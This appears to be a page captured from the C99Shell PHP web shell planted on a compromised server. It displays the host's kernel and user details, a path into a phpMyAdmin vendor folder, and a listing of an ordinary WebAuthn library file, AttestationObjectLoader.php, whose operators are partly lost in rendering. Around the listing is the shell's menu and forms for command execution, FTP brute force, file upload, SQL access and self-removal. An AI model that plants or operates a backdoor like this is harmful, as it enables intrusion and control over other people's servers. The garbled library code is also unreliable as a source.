!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/web-auth/webauthn-lib/src/AttestationStatement/   drwxr-xr-x
Free 28.15 GB of 117.98 GB (23.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AttestationObjectLoader.php (6.25 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

/*
 * The MIT License (MIT)
 *
 * Copyright (c) 2014-2021 Spomky-Labs
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE file for details.
 */

namespace Webauthn\AttestationStatement;

use 
Assert\Assertion;
use 
Base64Url\Base64Url;
use 
CBOR\Decoder;
use 
CBOR\MapObject;
use 
CBOR\OtherObject\OtherObjectManager;
use 
CBOR\Tag\TagObjectManager;
use function 
ord;
use 
Psr\Log\LoggerInterface;
use 
Psr\Log\NullLogger;
use 
Ramsey\Uuid\Uuid;
use function 
Safe\sprintf;
use function 
Safe\unpack;
use 
Throwable;
use 
Webauthn\AttestedCredentialData;
use 
Webauthn\AuthenticationExtensions\AuthenticationExtensionsClientOutputsLoader;
use 
Webauthn\AuthenticatorData;
use 
Webauthn\MetadataService\MetadataStatementRepository;
use 
Webauthn\StringStream;

class 
AttestationObjectLoader
{
    private const 
FLAG_AT 0b01000000;
    private const 
FLAG_ED 0b10000000;

    
/**
     * @var Decoder
     */
    
private $decoder;

    
/**
     * @var AttestationStatementSupportManager
     */
    
private $attestationStatementSupportManager;

    
/**
     * @var LoggerInterface|null
     */
    
private $logger;

    public function 
__construct(AttestationStatementSupportManager $attestationStatementSupportManager, ?MetadataStatementRepository $metadataStatementRepository null, ?LoggerInterface $logger null)
    {
        if (
null !== $metadataStatementRepository) {
            @
trigger_error('The argument "metadataStatementRepository" is deprecated since version 3.2 and will be removed in 4.0. Please set `null` instead.'E_USER_DEPRECATED);
        }
        if (
null !== $logger) {
            @
trigger_error('The argument "logger" is deprecated since version 3.3 and will be removed in 4.0. Please use the method "setLogger" instead.'E_USER_DEPRECATED);
        }
        
$this->decoder = new Decoder(new TagObjectManager(), new OtherObjectManager());
        
$this->attestationStatementSupportManager $attestationStatementSupportManager;
        
$this->logger $logger ?? new NullLogger();
    }

    public static function 
create(AttestationStatementSupportManager $attestationStatementSupportManager): self
    
{
        return new 
self($attestationStatementSupportManager);
    }

    public function 
load(string $data): AttestationObject
    
{
        try {
            
$this->logger->info('Trying to load the data', ['data' => $data]);
            
$decodedData Base64Url::decode($data);
            
$stream = new StringStream($decodedData);
            
$parsed $this->decoder->decode($stream);

            
$this->logger->info('Loading the Attestation Statement');
            
$attestationObject $parsed->getNormalizedData();
            
Assertion::true($stream->isEOF(), 'Invalid attestation object. Presence of extra bytes.');
            
$stream->close();
            
Assertion::isArray($attestationObject'Invalid attestation object');
            
Assertion::keyExists($attestationObject'authData''Invalid attestation object');
            
Assertion::keyExists($attestationObject'fmt''Invalid attestation object');
            
Assertion::keyExists($attestationObject'attStmt''Invalid attestation object');
            
$authData $attestationObject['authData'];

            
$attestationStatementSupport $this->attestationStatementSupportManager->get($attestationObject['fmt']);
            
$attestationStatement $attestationStatementSupport->load($attestationObject);
            
$this->logger->info('Attestation Statement loaded');
            
$this->logger->debug('Attestation Statement loaded', ['attestationStatement' => $attestationStatement]);

            
$authDataStream = new StringStream($authData);
            
$rp_id_hash $authDataStream->read(32);
            
$flags $authDataStream->read(1);
            
$signCount $authDataStream->read(4);
            
$signCount unpack('N'$signCount)[1];
            
$this->logger->debug(sprintf('Signature counter: %d'$signCount));

            
$attestedCredentialData null;
            if (
!== (ord($flags) & self::FLAG_AT)) {
                
$this->logger->info('Attested Credential Data is present');
                
$aaguid Uuid::fromBytes($authDataStream->read(16));
                
$credentialLength $authDataStream->read(2);
                
$credentialLength unpack('n'$credentialLength)[1];
                
$credentialId $authDataStream->read($credentialLength);
                
$credentialPublicKey $this->decoder->decode($authDataStream);
                
Assertion::isInstanceOf($credentialPublicKeyMapObject::class, 'The data does not contain a valid credential public key.');
                
$attestedCredentialData = new AttestedCredentialData($aaguid$credentialId, (string) $credentialPublicKey);
                
$this->logger->info('Attested Credential Data loaded');
                
$this->logger->debug('Attested Credential Data loaded', ['at' => $attestedCredentialData]);
            }

            
$extension null;
            if (
!== (ord($flags) & self::FLAG_ED)) {
                
$this->logger->info('Extension Data loaded');
                
$extension $this->decoder->decode($authDataStream);
                
$extension AuthenticationExtensionsClientOutputsLoader::load($extension);
                
$this->logger->info('Extension Data loaded');
                
$this->logger->debug('Extension Data loaded', ['ed' => $extension]);
            }
            
Assertion::true($authDataStream->isEOF(), 'Invalid authentication data. Presence of extra bytes.');
            
$authDataStream->close();

            
$authenticatorData = new AuthenticatorData($authData$rp_id_hash$flags$signCount$attestedCredentialData$extension);
            
$attestationObject = new AttestationObject($data$attestationStatement$authenticatorData);
            
$this->logger->info('Attestation Object loaded');
            
$this->logger->debug('Attestation Object', ['ed' => $attestationObject]);

            return 
$attestationObject;
        } catch (
Throwable $throwable) {
            
$this->logger->error('An error occurred', [
                
'exception' => $throwable,
            ]);
            throw 
$throwable;
        }
    }

    public function 
setLogger(LoggerInterface $logger): self
    
{
        
$this->logger $logger;

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--